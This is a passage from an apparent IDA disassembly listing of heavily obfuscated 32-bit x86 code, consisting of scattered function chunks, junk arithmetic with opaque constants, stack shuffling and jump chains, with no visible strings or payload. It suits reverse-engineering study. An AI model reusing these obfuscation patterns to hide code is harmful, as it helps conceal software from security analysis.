and ah, 69h shr ah, 7 jmp loc_5AF42D ; --------------------------------------------------------------------------- loc_5AC369: ; CODE XREF: sub_5AA2D1-4513j shr ecx, 1 jmp loc_59AFF5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5AC370: ; CODE XREF: sub_5A5EFF+1DDj ; sub_59F1F3+84AFj sub [esp-4+arg_0], 0CEA3B29h pop dword ptr [edi+20h] add dword ptr [edi+20h], 0CEA3B29h mov edx, [esp-8+arg_4] add esp, 4 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC38A: ; CODE XREF: sub_5A5EFF-3C28j ; sub_5AA2D1+39CFj push [esp+4+var_4] pop ebx push edx push esp pop edx push eax jmp loc_5B03CB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5AC397: ; CODE XREF: sub_5A7BA0-27BCj dec ebp xor ebp, 443A73A1h shl ebp, 4 jmp loc_5AD68E ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AC3A6: ; CODE XREF: sub_59CBE1+7067j mov edi, 4 add eax, edi mov edi, [esp-10h+arg_C] jmp loc_5AC31B ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5AC3B5: ; CODE XREF: sub_5AA810-BA7Dj sub dword ptr [esp+0], 29935D81h pop edx add edx, 29935D81h pop ecx sub dword ptr [esp+4], 1FFE228Bh sub [esp+4], edx push esi mov esi, 1FFE228Bh jmp loc_5A2368 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5AC3DB: ; CODE XREF: sub_5A5EFF-3C1Fj mov [esp+4+var_4], esi sub esp, 4 mov [esp+8+var_8], esp add [esp+8+var_8], 4 push [esp+8+var_8] pop esi add esp, 4 push ebx mov ebx, 4 jmp loc_59E6F9 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC3FA: ; CODE XREF: sub_5AA2D1-729Ej or edx, 6FCC3232h sub edx, 4D921827h add edx, 0E45E05F6h sub ebp, 3267383Eh add ebp, edx add ebp, 3267383Eh pop edx push 4823h mov [esp-8+arg_4], esi mov esi, ebp mov edi, esi mov esi, [esp-8+arg_4] add esp, 4 jmp loc_5A6D5D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_5AC432: ; CODE XREF: sub_5A9B1D-272Cj neg edx ja loc_59E7A6 add edx, 5F0A668Ch sub edx, 738213E3h mov ecx, edx pop edx shr ecx, 6 or ecx, 437F72DDh jmp loc_59B621 ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- loc_5AC457: ; CODE XREF: sdfs____:005A1A62j sub eax, 47BEE0C1h jmp loc_59EDE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AC461: ; CODE XREF: sub_5992DA:loc_5A6E9Aj jmp loc_5A5EA2 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5AC466: ; CODE XREF: sub_5A16B8+3335j push esp pop ebx jmp loc_5A6C19 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- loc_5AC46D: ; CODE XREF: sdfs____:005A9D43j xor edi, 937FE47Bh jmp loc_59EB97 ; =============== S U B R O U T I N E ======================================= sub_5AC478 proc near ; DATA XREF: sdfs____:00598F00o ; FUNCTION CHUNK AT 0059C7E5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059EAAA SIZE 00000007 BYTES push edx jmp loc_59EAAA sub_5AC478 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC47E: ; CODE XREF: sub_5AA2D1-6D8Cj dec ebx shl ebx, 4 sub ebx, 6451A73Ch add ebp, ebx pop ebx jmp sub_5B03E8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AC490: ; CODE XREF: sub_59CBE1-2FF0j mov ebx, edi jmp loc_5ADE74 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A35F6 loc_5AC497: ; CODE XREF: sub_5A35F6+78F9j mov eax, [esp+4+var_4] add esp, 4 jmp loc_5A90CF ; END OF FUNCTION CHUNK FOR sub_5A35F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC4A2: ; CODE XREF: sub_5AA2D1-DBDBj xor ebp, 0B3524EBh jmp loc_59FE81 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5AC4AD: ; CODE XREF: sub_5A9D64-2875j xchg esi, [esp+10h+var_10] mov esp, [esp+10h+var_10] mov [esp+0], esi jmp loc_5A6E51 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- loc_5AC4BB: ; CODE XREF: sdfs____:005A6DF9j sub al, 9Bh sub al, 26h jmp loc_59ED6A ; --------------------------------------------------------------------------- loc_5AC4C4: ; CODE XREF: sdfs____:0059C26Dj push edi jmp loc_5A366E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AC4CA: ; CODE XREF: sub_5A6BBC+7BA2j xor dl, ah pop ax sub cl, 2Dh add cl, 54h jmp loc_5AC029 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC4D9: ; CODE XREF: sub_5A9D64-C8ECj ; sub_5AA2D1-B335j mov esi, [esp+4+var_4] add esp, 4 add edi, 4 jmp loc_5A415D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AC4E7: ; CODE XREF: sub_5992DA+D850j push 309Bh mov [esp+18h+var_18], eax push edx jmp loc_59AA3F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5AC4F5: ; CODE XREF: sub_5A0AA2-3612j xor ebx, 0FE3CF8D8h jmp loc_5A2A10 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5AC500: ; CODE XREF: sub_5AD795-310Fj xor bh, cl pop ecx shr bh, 7 dec bh jmp loc_59B130 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC50D: ; CODE XREF: sub_5AA2D1-6FCDj neg edx jp loc_59E030 shr edx, 1 add edx, 3C5306F3h xor bh, 0D7h pop edi loc_5AC521: ; CODE XREF: sub_5A577C-873Cj mov [esp+2+var_4+2], ecx mov ecx, 4 add eax, ecx pop ecx jmp loc_59E5E6 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5AC531: ; CODE XREF: sdfs____:005A3F4Aj mov ah, ch not ah push esi mov esi, esp jmp loc_5A3347 ; --------------------------------------------------------------------------- loc_5AC53D: ; CODE XREF: sdfs____:005ABA51j neg bl push edx jmp loc_5A6AD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AC545: ; CODE XREF: sub_5992DA+12F15j pop ecx push ebp jmp loc_5A320C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AC54C: ; CODE XREF: sub_59CBE1+917j mov esi, 1B0F0DD9h xor edx, esi pop esi sub edx, 1B8295C8h mov eax, edx pop edx sub ecx, 4CA779F5h add ecx, eax add ecx, 4CA779F5h pop eax sub ecx, 4 xchg ecx, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] mov [esp-10h+arg_C], edx mov dh, 4Fh push small 3D4Eh mov word ptr [esp-0Eh+arg_8+2], cx jmp loc_59E067 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AC58A: ; CODE XREF: sub_59C979+10B29j jp loc_5A92B2 jmp loc_5AAA38 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- mov ax, [esp] mov cl, bh push edx ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5AC59C: ; CODE XREF: sub_5A18F6-7D2j sub ebx, ebp pop ebp push dword ptr [esp+0] jmp loc_5AA8EB ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5AC5A7: ; CODE XREF: sub_5A0BA8+3j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5AC5AC: ; CODE XREF: sub_59FC02+346Cj ; sub_5ADD33-3DD9j push edx jmp loc_5A702E ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5AC5B2: ; CODE XREF: sub_5A5EFF+9B99j mov esp, [esp+8+var_8] mov [esp+8+var_8], eax xchg ebx, [esp+8+var_8] not ebx xchg ebx, [esp+8+var_8] mov eax, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], esi push ebx mov ebx, 66BE6B6Dh inc ebx push esi mov esi, 1 sub ebx, esi pop esi add ebx, 0F1639CB8h sub esp, 4 mov [esp+10h+var_10], ebp push 764Dh mov [esp+14h+var_14], ebx pop ebp jmp loc_5A8AF0 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC5FC: ; CODE XREF: sub_5AA2D1-BCCDj sub edi, ecx pop ecx push esi mov esi, 6BB224A2h sub esi, 0FF7FB9F9h add edi, esi pop esi jmp loc_5ABCEE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA5F6 loc_5AC613: ; CODE XREF: sub_5AA5F6-B526j shr bl, 2 jmp loc_5AA7E4 ; END OF FUNCTION CHUNK FOR sub_5AA5F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5AC61B: ; CODE XREF: sub_5ADD33-A3AEj xchg edx, [esp+4+var_4] pop esp add esp, 4 div ecx push 0DE1h jmp loc_5A18EC ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5AC631: ; CODE XREF: sub_5A917C+45j mov ebp, edi mov edi, [esp+0] push eax mov eax, esp jmp loc_59EACF ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- loc_5AC63E: ; CODE XREF: sdfs____:0059C543j push esp push dword ptr [esp] mov edi, [esp] push edx jmp loc_5A4E3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5AC64B: ; CODE XREF: sub_5A4E04-484Fj mov ebp, esi mov esi, [esp+0Ah+var_C+2] jmp loc_5A1858 ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- loc_5AC655: ; CODE XREF: sdfs____:005A2107j add esp, 4 add edi, 4 jmp loc_5A304F ; --------------------------------------------------------------------------- loc_5AC663: ; CODE XREF: sdfs____:005A7CABj pop eax pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_5A1DDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AC67F: ; CODE XREF: sub_59D6B8+7B71j push 0 sub [esp-8+arg_4], ebx pop ebx neg ebx xor ebx, 10296204h push ebx jmp loc_5ACF66 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_5AC696: ; CODE XREF: sub_5AD84A-B596j pop ebx add ecx, 30C07046h add ecx, 1ED43004h add ecx, 74331501h add ecx, esi jmp loc_5A4704 ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC6B0: ; CODE XREF: sub_5AA2D1:loc_59FE81j xor ebp, 702B565Fh jnp loc_59D8C6 jmp loc_5A6534 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- pop eax or edx, ecx mov ecx, [esp] xor al, 6 pop edx ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AC6CA: ; CODE XREF: sub_5A63DC+52D8j add ebx, 0F337FE52h jmp loc_5AAE8F ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC6D5: ; CODE XREF: sub_5AA2D1+1F66j pop esp jmp loc_5AAA78 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6494 loc_5AC6DB: ; CODE XREF: sub_5A6494-4C6Fj push dword ptr [esp+4] pop eax pop [esp+4+var_4] mov esp, [esp+0] inc dword ptr [esp+0] pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A6494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5AC6EF: ; CODE XREF: sub_59F02F+A6FCj push esi not [esp+14h+var_14] pop esi add esi, 2FEE102Ch jmp loc_5A93B8 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5AC6FF: ; CODE XREF: sub_5A9D64-7594j xor ebp, 6F834164h jmp loc_5A0CA3 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC70A: ; CODE XREF: sub_5AA2D1-2437j jmp loc_5A0180 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F3B6 loc_5AC70F: ; CODE XREF: sub_59F3B6+DBD7j mov edx, [esp+0] jmp loc_5AC2FC ; END OF FUNCTION CHUNK FOR sub_59F3B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC717: ; CODE XREF: sub_5AA2D1-83AEj pop edi jmp loc_59C1DE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADBA5 loc_5AC71D: ; CODE XREF: sub_5ADBA5-584Bj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5ADBA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5AC722: ; CODE XREF: sub_59E94B-B80j mov ebp, 4ABD0253h dec ebp jmp loc_5A4828 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_5AC72D: ; CODE XREF: sub_59B2E4+959Dj pop eax add ebx, 657A7326h add ebx, edi sub ebx, 657A7326h push [esp+0Ch+var_C] pop edi add esp, 4 push 1B54h mov [esp+0Ch+var_C], eax mov eax, 4 add ebx, eax jmp loc_59BE84 ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AC757: ; CODE XREF: sub_5992DA+16481j jmp loc_5ACD3D ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5AC75C: ; CODE XREF: sub_5AD993+1350j sub al, 58h mov edx, [esp-8+arg_4] add esp, 4 push 3CA2h mov [esp-8+arg_4], edx push 5DBEh mov [esp-4+arg_0], eax push ecx jmp loc_5A19DE ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- loc_5AC77D: ; CODE XREF: sdfs____:0059E593j neg eax push eax not dword ptr [esp] pop eax sub eax, 9CBFEF4Eh mov ebx, eax pop eax add edi, 7B220964h sub edi, 1CCE7C6Ch jmp loc_5A35E0 ; --------------------------------------------------------------------------- loc_5AC79D: ; CODE XREF: sdfs____:005A39EBj pop eax add al, 0B1h sub al, dh push 451Ah mov [esp], ecx mov ch, 0B1h add al, 6Dh sub al, ch jmp loc_59E832 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5AC7B5: ; CODE XREF: sub_5A79BE-53DCj pop eax sub eax, 295F2262h mov esi, [esp-4+arg_0] add esp, 4 jmp loc_5AA37F ; END OF FUNCTION CHUNK FOR sub_5A79BE ; =============== S U B R O U T I N E ======================================= sub_5AC7C6 proc near ; CODE XREF: sub_5AAAD5-3A41j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 59C411DBh or ecx, 202D5D95h dec ecx not ecx inc ecx inc ecx xor ecx, 9FC9C38h xor eax, ecx pop ecx add ebx, eax jmp loc_59B038 sub_5AC7C6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC7EF: ; CODE XREF: sub_5AA2D1+2BEBj sub [esp-18h+arg_18], edi pop edi sub [esp-1Ch+arg_18], 447C2E2Dh sub [esp-1Ch+arg_18], ecx jmp loc_5A747B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5AC803 proc near ; CODE XREF: sub_59CBE1-16Ej var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00599211 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00599D06 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00599DAB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059AB84 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059CD88 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059CF73 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0059D045 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E1E4 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059EA94 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A10FD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A11BE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A28C7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A2DAB SIZE 00000038 BYTES ; FUNCTION CHUNK AT 005A3244 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A50B4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A55D1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A7D48 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A8AD3 SIZE 00000046 BYTES ; FUNCTION CHUNK AT 005A8CAB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A8F5B SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005A8FEC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AA4F7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA5A3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AB020 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AB339 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AEB19 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AFD69 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005AFF3B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005B015D SIZE 00000008 BYTES sub esp, 4 mov [esp+8+var_8], edx push esi mov esi, 5AA79B5h and esi, 10ED04B3h jnb loc_5B015D shl esi, 6 jmp loc_5A053F sub_5AC803 endp ; sp-analysis failed ; --------------------------------------------------------------------------- add edi, 50D55E8Fh push esi ; START OF FUNCTION CHUNK FOR sub_59DE4B loc_5AC82D: ; CODE XREF: sub_59DE4B+CC85j push edx jmp loc_5A16AC ; END OF FUNCTION CHUNK FOR sub_59DE4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5AC833: ; CODE XREF: sub_5A2E28-3379j mov ebx, esp push edx mov edx, 4 add ebx, edx pop edx sub ebx, 4 xchg ebx, [esp+0] pop esp mov [esp-4+arg_0], esi push [esp-4+arg_4] pop esi pop [esp-4+arg_0] mov esp, [esp-8+arg_4] mov ax, word ptr [esp-8+arg_4] jmp loc_59D3FB ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4A0 loc_5AC85F: ; CODE XREF: sub_59B4A0+8DBAj xor eax, [esp+4+var_4] xor [esp+4+var_4], eax xor eax, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp-8+arg_4], edx push eax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59B4A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A75B9 loc_5AC875: ; CODE XREF: sub_5A75B9:loc_5A0125j jmp loc_5A85EF ; END OF FUNCTION CHUNK FOR sub_5A75B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5AC87A: ; CODE XREF: sub_59FB1A+FDFj ; sub_5AD993+1E83j not dh shr dh, 4 push eax push ecx mov cl, 87h push 29FBh mov [esp+0Ch+var_C], ebx jmp loc_5A5D6D ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599CC6 loc_5AC890: ; CODE XREF: sub_599CC6+454Cj push 66DFh mov [esp+8+var_8], ebx push ecx push eax mov ah, dh mov cl, ah pop eax mov bl, cl jmp loc_5A235D ; END OF FUNCTION CHUNK FOR sub_599CC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5AC8A6: ; CODE XREF: sub_5A0AA2+14FEj add ecx, 1BF31396h xor ecx, 8C7F60E0h xor edx, ecx pop ecx push edx pop ebp jmp loc_5A2631 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A809B loc_5AC8BC: ; CODE XREF: sub_5A809B-EB97j pop ecx jmp loc_5AD44C ; END OF FUNCTION CHUNK FOR sub_5A809B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5AC8C2: ; CODE XREF: sub_5A917C+1569j and eax, ebp push dword ptr [esp+0] mov ebp, [esp+4+var_4] jmp loc_5AD80A ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5AC8CF: ; CODE XREF: sub_59A26C+F2C7j pop ebp push [esp-0Ch+arg_8] mov esi, [esp-8+arg_4] add esp, 4 add esp, 4 jmp loc_59C6C9 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC8E7: ; CODE XREF: sub_5AA2D1-4606j mov [esp+4+var_4], edi push dword ptr [esp+4] pop edi pop [esp+4+var_4] mov esp, [esp+0] mov [esp+0], eax push 6DBCh mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop eax push esi mov esi, 4 add eax, esi push [esp+4+var_4] pop esi sub esp, 4 mov [esp+8+var_8], ebp jmp loc_5A8DAD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_5AC91F: ; CODE XREF: sub_5A3B60+3j mov [esp+0], ecx jmp loc_5A66AC ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; --------------------------------------------------------------------------- loc_5AC927: ; DATA XREF: sdfs____:00598E44o push dword ptr [esp] mov eax, [esp] jmp loc_5AA65C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2AFE loc_5AC932: ; CODE XREF: sub_5A2AFE+4j push 4D01h mov [esp+4+var_4], esi push esp pop esi push 1D66h mov [esp+8+var_8], ebp mov ebp, 4 push ebx push ecx push 44F642F5h pop ecx jmp loc_5AD8CC ; END OF FUNCTION CHUNK FOR sub_5A2AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5AC956: ; CODE XREF: sub_59A7E7+14693j add esp, 2 add cl, dl pop edx add cl, bh sub esp, 4 mov [esp+0], eax mov ah, 0B6h push dx mov dl, 95h xor ah, dl mov dx, [esp+0] add esp, 2 jmp loc_5A3874 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5AC978: ; CODE XREF: sub_5A79BE-25E0j push edi push [esp+8+var_4] jmp loc_5AAB8C ; --------------------------------------------------------------------------- loc_5AC982: ; CODE XREF: sub_5A79BE+1BCFj xor ecx, 1B246A4Ah and ecx, 51AF0B5Ch sub ecx, 2B153889h jmp loc_5AF71D ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AC999: ; CODE XREF: sub_59CBE1+379j pop esi add edx, 4 xchg edx, [esp-10h+arg_C] jmp loc_59CB27 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AC9A8: ; CODE XREF: sub_5B01F7-4FCj mov edi, 89D0C3D3h sub ecx, edi pop edi or edi, ecx mov ecx, [esp+14h+var_14] add esp, 4 jmp loc_5AD9D6 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC9BD: ; CODE XREF: sub_5AA2D1-CC8Aj xor al, ch mov ecx, [esp+4+var_4] add esp, 4 sub esp, 2 mov word ptr [esp+4+var_4], cx mov ch, 0C4h push 53BAh mov [esp+8+var_8], eax jmp loc_5ADF7F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6C3 loc_5AC9DE: ; CODE XREF: sub_59D6C3+9j mov esi, esp jmp sub_5A72CB ; END OF FUNCTION CHUNK FOR sub_59D6C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5AC9E5: ; CODE XREF: sdfs____:005A76FCj ; sub_5A2E41+8850j not [esp+4+var_4] mov esi, [esp+4+var_4] add esp, 4 xchg esi, ebp jmp loc_59E8AE ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5AC9F5: ; CODE XREF: sub_5A503A-D00j xor eax, edi mov edi, [esp+0] jmp sub_5ACB83 ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC9FF: ; CODE XREF: sub_5AA2D1+5447j add ebx, 20B518A8h sub ebx, edx sub ebx, 20B518A8h pop edx jmp loc_5A43FE ; --------------------------------------------------------------------------- loc_5ACA13: ; CODE XREF: sub_5AA2D1-7054j not al jmp loc_5AA3CD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_5ACA1A: ; CODE XREF: sdfs____:005ABE93j ; sub_5A81C4+746Ej not dword ptr [esp+0] mov ebp, [esp+0] add esp, 4 shr ebp, 1 not ebp add ebp, 8263020Ch add ecx, ebp pop ebp jmp loc_59CAE9 ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5ACA35: ; CODE XREF: sub_5A118F+AADj ; sdfs____:005A867Dj add al, bl push cx mov cl, 9Ch jmp loc_5A9EDC ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ACA40: ; CODE XREF: sub_5AA2D1-1751j add ecx, edx push edi mov edi, 3606902h sub edi, 0E0F56BBh and edi, 624C63DEh xor edi, 374552B9h xor edi, 568052BCh sub ecx, edi pop edi mov edx, [esp-20h+arg_1C] add esp, 4 